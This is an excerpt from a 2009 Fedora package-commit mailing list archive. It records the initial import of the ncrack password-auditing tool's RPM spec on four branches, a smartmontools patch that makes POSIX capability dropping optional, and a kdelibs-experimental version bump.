-+++ smartmontools-5.38/smartd.8.in	2009-10-05 15:44:35.455113557 +0200
-@@ -354,6 +354,12 @@ The default level is 1, so \'\-r ataioct
- equivalent.
++++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
+@@ -145,6 +145,12 @@ input. This is useful for commands like:
+ to perform quick and simple checks without a configuration file.
  
  .TP
 +.B \-C, \-\-capabilities
@@ -67,12 +67,12 @@ diff -up smartmontools-5.38/smartd.8.in.
 +Warning: Mail notification does not work when used.
 +
 +.TP
- .B \-\-service
- Cygwin and Windows only: Enables \fBsmartd\fP to run as a Windows service.
- 
+ .B \-d, \-\-debug
+ Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
+ information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:33:00.224483349 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-05 15:33:00.245483604 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__



From smilner at fedoraproject.org  Mon Oct  5 13:49:09 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 13:49:09 +0000 (UTC)
Subject: rpms/ncrack/F-12 import.log, NONE, 1.1 ncrack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091005134909.D67D311C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22209/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncrack.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
ncrack-0_01-0_6_ALPHA_fc11:F-12:ncrack-0.01-0.6.ALPHA.fc11.src.rpm:1254750532


--- NEW FILE ncrack.spec ---
Name:           ncrack
Version:        0.01
Release:        0.6.ALPHA%{?dist}
Summary:        High-speed network auth cracking tool

Group:          Applications/Internet
License:        GPLv2 with exceptions
URL:            http://nmap.org/ncrack/
Source0:        http://nmap.org/ncrack/dist/%{name}-%{version}ALPHA.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  openssl-devel


%description
Ncrack is a high-speed network authentication cracking tool. It was
built to help companies secure their networks by proactively testing
all their hosts and networking devices for poor passwords. Security
professionals also rely on Ncrack when auditing their clients. Ncrack
was designed using a modular approach, a command-line syntax similar to
Nmap and a dynamic engine that can adapt its behaviour based on network
feedback. It allows for rapid, yet reliable large-scale auditing of
multiple hosts. 


%prep
%setup -q -n %{name}
# Change encoding and keep the timestamp
iconv -f ISO-8859-1 -t UTF8 COPYING.OpenSSH -o COPYING.OpenSSH.new
touch -r COPYING.OpenSSH COPYING.OpenSSH.new
mv COPYING.OpenSSH.new COPYING.OpenSSH
sed -i '/\$(STRIP)/d' Makefile.in


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.OpenSSH
%{_bindir}/ncrack
%{_mandir}/man1/ncrack.1*
%{_datadir}/%{name}/*


%changelog
* Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
- Removed custom patches after discussion with upstream and reviewers.
- Moved what we thought was a config back to it's default location.

* Wed Sep 23 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.5.ALPHA
- Added Martin Gieseking's ncrack-config-in-etc patch moving configs to sysconfdir.

* Mon Sep 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.4.ALPHA
- Man page now using glob.
- Added strip to prep section to avoid empty debug package.

* Wed Sep 16 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.3.ALPHA
- updated previous change log to reflect the changes.
- removed COPYING.OpenSSL from doc
- now following proper pre-release versioning

* Tue Sep 15 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.2.ALPHA
- updated license tag to GPLv2 with restrictions
- preserve timestamp of file COPYING.OpenSSH

* Thu Sep 10 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.1.ALPHA
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:24:03 -0000	1.1
+++ .cvsignore	5 Oct 2009 13:49:09 -0000	1.2
@@ -0,0 +1 @@
+ncrack-0.01ALPHA.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:24:03 -0000	1.1
+++ sources	5 Oct 2009 13:49:09 -0000	1.2
@@ -0,0 +1 @@
+e834ae14b2f340962af8df4133bb71b9  ncrack-0.01ALPHA.tar.gz



From smilner at fedoraproject.org  Mon Oct  5 13:52:05 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 13:52:05 +0000 (UTC)
Subject: rpms/ncrack/F-11 import.log, NONE, 1.1 ncrack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091005135205.81B7011C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23091/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncrack.spec 
Log Message:
Initial import.



--- NEW FILE import.log ---
ncrack-0_01-0_6_ALPHA_fc11:F-11:ncrack-0.01-0.6.ALPHA.fc11.src.rpm:1254750706


--- NEW FILE ncrack.spec ---
Name:           ncrack
Version:        0.01
Release:        0.6.ALPHA%{?dist}
Summary:        High-speed network auth cracking tool

Group:          Applications/Internet
License:        GPLv2 with exceptions
URL:            http://nmap.org/ncrack/
Source0:        http://nmap.org/ncrack/dist/%{name}-%{version}ALPHA.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  openssl-devel


%description
Ncrack is a high-speed network authentication cracking tool. It was
built to help companies secure their networks by proactively testing
all their hosts and networking devices for poor passwords. Security
professionals also rely on Ncrack when auditing their clients. Ncrack
was designed using a modular approach, a command-line syntax similar to
Nmap and a dynamic engine that can adapt its behaviour based on network
feedback. It allows for rapid, yet reliable large-scale auditing of
multiple hosts. 


%prep
%setup -q -n %{name}
# Change encoding and keep the timestamp
iconv -f ISO-8859-1 -t UTF8 COPYING.OpenSSH -o COPYING.OpenSSH.new
touch -r COPYING.OpenSSH COPYING.OpenSSH.new
mv COPYING.OpenSSH.new COPYING.OpenSSH
sed -i '/\$(STRIP)/d' Makefile.in


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.OpenSSH
%{_bindir}/ncrack
%{_mandir}/man1/ncrack.1*
%{_datadir}/%{name}/*


%changelog
* Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
- Removed custom patches after discussion with upstream and reviewers.
- Moved what we thought was a config back to it's default location.

* Wed Sep 23 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.5.ALPHA
- Added Martin Gieseking's ncrack-config-in-etc patch moving configs to sysconfdir.

* Mon Sep 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.4.ALPHA
- Man page now using glob.
- Added strip to prep section to avoid empty debug package.

* Wed Sep 16 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.3.ALPHA
- updated previous change log to reflect the changes.
- removed COPYING.OpenSSL from doc
- now following proper pre-release versioning

* Tue Sep 15 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.2.ALPHA
- updated license tag to GPLv2 with restrictions
- preserve timestamp of file COPYING.OpenSSH

* Thu Sep 10 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.1.ALPHA
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:24:03 -0000	1.1
+++ .cvsignore	5 Oct 2009 13:52:05 -0000	1.2
@@ -0,0 +1 @@
+ncrack-0.01ALPHA.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:24:03 -0000	1.1
+++ sources	5 Oct 2009 13:52:05 -0000	1.2
@@ -0,0 +1 @@
+e834ae14b2f340962af8df4133bb71b9  ncrack-0.01ALPHA.tar.gz



From smilner at fedoraproject.org  Mon Oct  5 13:56:13 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 13:56:13 +0000 (UTC)
Subject: rpms/ncrack/EL-4 import.log, NONE, 1.1 ncrack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091005135613.35C8011C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24469/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncrack.spec 
Log Message:
Initial import.



--- NEW FILE import.log ---
ncrack-0_01-0_6_ALPHA_fc11:EL-4:ncrack-0.01-0.6.ALPHA.fc11.src.rpm:1254750934


--- NEW FILE ncrack.spec ---
Name:           ncrack
Version:        0.01
Release:        0.6.ALPHA%{?dist}
Summary:        High-speed network auth cracking tool

Group:          Applications/Internet
License:        GPLv2 with exceptions
URL:            http://nmap.org/ncrack/
Source0:        http://nmap.org/ncrack/dist/%{name}-%{version}ALPHA.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  openssl-devel


%description
Ncrack is a high-speed network authentication cracking tool. It was
built to help companies secure their networks by proactively testing
all their hosts and networking devices for poor passwords. Security
professionals also rely on Ncrack when auditing their clients. Ncrack
was designed using a modular approach, a command-line syntax similar to
Nmap and a dynamic engine that can adapt its behaviour based on network
feedback. It allows for rapid, yet reliable large-scale auditing of
multiple hosts. 


%prep
%setup -q -n %{name}
# Change encoding and keep the timestamp
iconv -f ISO-8859-1 -t UTF8 COPYING.OpenSSH -o COPYING.OpenSSH.new
touch -r COPYING.OpenSSH COPYING.OpenSSH.new
mv COPYING.OpenSSH.new COPYING.OpenSSH
sed -i '/\$(STRIP)/d' Makefile.in


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.OpenSSH
%{_bindir}/ncrack
%{_mandir}/man1/ncrack.1*
%{_datadir}/%{name}/*


%changelog
* Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
- Removed custom patches after discussion with upstream and reviewers.
- Moved what we thought was a config back to it's default location.

* Wed Sep 23 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.5.ALPHA
- Added Martin Gieseking's ncrack-config-in-etc patch moving configs to sysconfdir.

* Mon Sep 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.4.ALPHA
- Man page now using glob.
- Added strip to prep section to avoid empty debug package.

* Wed Sep 16 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.3.ALPHA
- updated previous change log to reflect the changes.
- removed COPYING.OpenSSL from doc
- now following proper pre-release versioning

* Tue Sep 15 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.2.ALPHA
- updated license tag to GPLv2 with restrictions
- preserve timestamp of file COPYING.OpenSSH

* Thu Sep 10 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.1.ALPHA
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:24:03 -0000	1.1
+++ .cvsignore	5 Oct 2009 13:56:12 -0000	1.2
@@ -0,0 +1 @@
+ncrack-0.01ALPHA.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:24:03 -0000	1.1
+++ sources	5 Oct 2009 13:56:13 -0000	1.2
@@ -0,0 +1 @@
+e834ae14b2f340962af8df4133bb71b9  ncrack-0.01ALPHA.tar.gz



From smilner at fedoraproject.org  Mon Oct  5 13:56:16 2009
From: smilner at fedoraproject.org (smilner)
Date: Mon,  5 Oct 2009 13:56:16 +0000 (UTC)
Subject: rpms/ncrack/EL-5 import.log, NONE, 1.1 ncrack.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091005135616.9989511C00DB@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/ncrack/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24486/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ncrack.spec 
Log Message:
Initial import.



--- NEW FILE import.log ---
ncrack-0_01-0_6_ALPHA_fc11:EL-5:ncrack-0.01-0.6.ALPHA.fc11.src.rpm:1254750950


--- NEW FILE ncrack.spec ---
Name:           ncrack
Version:        0.01
Release:        0.6.ALPHA%{?dist}
Summary:        High-speed network auth cracking tool

Group:          Applications/Internet
License:        GPLv2 with exceptions
URL:            http://nmap.org/ncrack/
Source0:        http://nmap.org/ncrack/dist/%{name}-%{version}ALPHA.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  openssl-devel


%description
Ncrack is a high-speed network authentication cracking tool. It was
built to help companies secure their networks by proactively testing
all their hosts and networking devices for poor passwords. Security
professionals also rely on Ncrack when auditing their clients. Ncrack
was designed using a modular approach, a command-line syntax similar to
Nmap and a dynamic engine that can adapt its behaviour based on network
feedback. It allows for rapid, yet reliable large-scale auditing of
multiple hosts. 


%prep
%setup -q -n %{name}
# Change encoding and keep the timestamp
iconv -f ISO-8859-1 -t UTF8 COPYING.OpenSSH -o COPYING.OpenSSH.new
touch -r COPYING.OpenSSH COPYING.OpenSSH.new
mv COPYING.OpenSSH.new COPYING.OpenSSH
sed -i '/\$(STRIP)/d' Makefile.in


%build
%configure
make %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc COPYING COPYING.OpenSSH
%{_bindir}/ncrack
%{_mandir}/man1/ncrack.1*
%{_datadir}/%{name}/*


%changelog
* Tue Sep 29 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.6.ALPHA
- Removed custom patches after discussion with upstream and reviewers.
- Moved what we thought was a config back to it's default location.

* Wed Sep 23 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.5.ALPHA
- Added Martin Gieseking's ncrack-config-in-etc patch moving configs to sysconfdir.

* Mon Sep 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.4.ALPHA
- Man page now using glob.
- Added strip to prep section to avoid empty debug package.

* Wed Sep 16 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.3.ALPHA
- updated previous change log to reflect the changes.
- removed COPYING.OpenSSL from doc
- now following proper pre-release versioning

* Tue Sep 15 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.2.ALPHA
- updated license tag to GPLv2 with restrictions
- preserve timestamp of file COPYING.OpenSSH

* Thu Sep 10 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> 0.01-0.1.ALPHA
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:24:03 -0000	1.1
+++ .cvsignore	5 Oct 2009 13:56:16 -0000	1.2
@@ -0,0 +1 @@
+ncrack-0.01ALPHA.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ncrack/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:24:03 -0000	1.1
+++ sources	5 Oct 2009 13:56:16 -0000	1.2
@@ -0,0 +1 @@
+e834ae14b2f340962af8df4133bb71b9  ncrack-0.01ALPHA.tar.gz



From mhlavink at fedoraproject.org  Mon Oct  5 13:58:23 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 13:58:23 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartmontools-5.38-lowcap.patch, 1.3,
	1.4 smartmontools.spec, 1.59, 1.60
Message-ID: <20091005135823.7FDAA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25113

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
- make capabilities optional
- fix capabilities for 3ware contollers (#526626)


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   53 ++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 93 insertions(+), 2 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- smartmontools-5.38-lowcap.patch	26 Aug 2009 16:17:56 -0000	1.3
+++ smartmontools-5.38-lowcap.patch	5 Oct 2009 13:58:23 -0000	1.4
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-08-26 17:40:36.942297517 +0200
-+++ smartmontools-5.38/configure.in	2009-08-26 17:40:36.951298527 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
++++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-08-26 17:40:36.951298527 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -54,9 +54,25 @@ diff -up smartmontools-5.38/Makefile.am.
  smartd_DEPENDENCIES = @os_deps@
  
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
+diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
+--- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
++++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
+@@ -145,6 +145,12 @@ input. This is useful for commands like:
+ to perform quick and simple checks without a configuration file.
+ 
+ .TP
++.B \-C, \-\-capabilities
++Use possix \fBcapabilities(7)\fP (EXPERIMENTAL).
++
++Warning: Mail notification does not work when used.
++
++.TP
+ .B \-d, \-\-debug
+ Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
+ information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-08-26 17:40:36.937297475 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-08-26 17:57:48.558423011 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -68,18 +84,108 @@ diff -up smartmontools-5.38/smartd.cpp.l
  // locally included files
  #include "int64.h"
  #include "atacmds.h"
-@@ -4408,6 +4412,14 @@ static int smartd_main(int argc, char **
+@@ -179,6 +183,11 @@ static int facility=LOG_DAEMON;
+ static bool do_fork=true;
+ #endif
+ 
++#ifdef HAVE_LIBCAP_NG
++// enable possix capabilities
++static bool enable_capabilities=false;
++#endif
++
+ // used for control of printing, passing arguments to atacmds.c
+ smartmonctrl *con=NULL;
+ 
+@@ -613,6 +622,15 @@ void MailWarning(cfgfile *cfg, int which
+     if  (epoch<(mail->lastsent+days))
+       return;
+   }
++  
++#ifdef HAVE_LIBCAP_NG
++  if (enable_capabilities) {
++    PrintOut(LOG_ERR,"Sending a mail was supressed. "
++		     "Mails can't be send when capabilites are enabled\n");
++    return;
++  }
++
++#endif
+ 
+   // record the time of this mail message, and the first mail message
+   if (!mail->logged)
+@@ -1239,6 +1257,11 @@ void Usage (void){
+   PrintOut(LOG_INFO,"        Quit on one of: %s\n\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r, --report=TYPE\n");
+   PrintOut(LOG_INFO,"        Report transactions for one of: %s\n\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C, --usecapabilities\n");
++  PrintOut(LOG_INFO,"        Use possix capabilities (EXPERIMENTAL).\n"
++		    "        Warning: Mail notification does not work when used.\n");
++#endif
+ #ifdef _WIN32
+   PrintOut(LOG_INFO,"  --service\n");
+   PrintOut(LOG_INFO,"        Running as windows service (see man page), install with:\n");
+@@ -1260,6 +1283,9 @@ void Usage (void){
+   PrintOut(LOG_INFO,"  -p NAME    Write PID file NAME\n");
+   PrintOut(LOG_INFO,"  -q WHEN    Quit on one of: %s\n", GetValidArgList('q'));
+   PrintOut(LOG_INFO,"  -r TYPE    Report transactions for one of: %s\n", GetValidArgList('r'));
++#ifdef HAVE_LIBCAP_NG
++  PrintOut(LOG_INFO,"  -C         Use possix capabilities (EXPERIMENTAL)\n");
++#endif
+   PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
+ #endif
+ }
+@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+     { "copyright",      no_argument,       0, 'V' },
+     { "help",           no_argument,       0, 'h' },
+     { "usage",          no_argument,       0, 'h' },
++    { "usecapabilities",no_argument,       0, 'C' },
+     { 0,                0,                 0, 0   }
+   };
+ #endif
+@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+       PrintCopyleft();
+       EXIT(0);
+       break;
++#ifdef HAVE_LIBCAP_NG
++    case 'C':
++      //enable possix capabilities
++      enable_capabilities=1;
++      break;
++#endif
+     case 'h':
+       // help: print summary of command-line options
+       debugmode=1;
+@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
 +
 +#ifdef HAVE_LIBCAP_NG
 +  // Drop capabilities
-+  capng_clear(CAPNG_SELECT_BOTH);
-+  capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
-+               CAP_SYS_ADMIN, CAP_SYS_RAWIO, -1);
-+  capng_apply(CAPNG_SELECT_BOTH);
++  if (enable_capabilities) {
++    capng_clear(CAPNG_SELECT_BOTH);
++    capng_updatev(CAPNG_ADD, (capng_type_t)(CAPNG_EFFECTIVE|CAPNG_PERMITTED),
++                CAP_SYS_ADMIN, CAP_MKNOD, CAP_SYS_RAWIO, -1);
++    capng_apply(CAPNG_SELECT_BOTH);
++  }
 +#endif
    
    // the main loop of the code
    while (1){
+@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+         PrintTestSchedule(ATAandSCSIdevlist);
+         EXIT(0);
+       }
+-      
++#ifdef HAVE_LIBCAP_NG
++      for(int i=numdevata+numdevscsi; i>1; i--) {
++	  if (ATAandSCSIdevlist[i-1]->mailwarn) {
++	      PrintOut(LOG_WARNING,"Mail can't be enabled together with --usecapabilities. All mail will be suppressed.\n");
++	      break;
++	  }
++      }
++	
++#endif
+       // reset signal
+       caughtsigHUP=0;
+     }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- smartmontools.spec	26 Aug 2009 16:17:56 -0000	1.59
+++ smartmontools.spec	5 Oct 2009 13:58:23 -0000	1.60
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	16%{?dist}
+Release: 	17%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,10 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-17
+- make capabilities optional
+- fix capabilities for 3ware contollers (#526626)
+
 * Wed Aug 26 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-16
 - extend capability scanning devices
 



From than at fedoraproject.org  Mon Oct  5 13:59:43 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 13:59:43 +0000 (UTC)
Subject: rpms/kdelibs-experimental/devel .cvsignore, 1.9,
	1.10 kdelibs-experimental.spec, 1.11, 1.12 sources, 1.8, 1.9
Message-ID: <20091005135943.797B811C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdelibs-experimental/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25642

Modified Files:
	.cvsignore kdelibs-experimental.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	1 Sep 2009 18:11:12 -0000	1.9
+++ .cvsignore	5 Oct 2009 13:59:43 -0000	1.10
@@ -1 +1,2 @@
 kdelibs-experimental-4.3.1.tar.bz2
+kdelibs-experimental-4.3.2.tar.bz2


Index: kdelibs-experimental.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/devel/kdelibs-experimental.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- kdelibs-experimental.spec	28 Aug 2009 14:24:08 -0000	1.11
+++ kdelibs-experimental.spec	5 Oct 2009 13:59:43 -0000	1.12
@@ -1,5 +1,5 @@
 Name:    kdelibs-experimental
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 Summary: KDE libraries with experimental or unstable api/abi
 
@@ -61,6 +61,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs-experimental/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	28 Aug 2009 14:24:08 -0000	1.8
+++ sources	5 Oct 2009 13:59:43 -0000	1.9
@@ -1 +1 @@
-2fe0a12195bc93848aa7b458c1bfb4af  kdelibs-experimental-4.3.1.tar.bz2
+d473afb133b5b7d3ead9699c17fe6761  kdelibs-experimental-4.3.2.tar.bz2



From mhlavink at fedoraproject.org  Mon Oct  5 14:00:45 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon,  5 Oct 2009 14:00:45 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartmontools.spec,1.60,1.61
Message-ID: <20091005140045.718EB11C0298@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25880

Modified Files:
	smartmontools.spec 
Log Message:
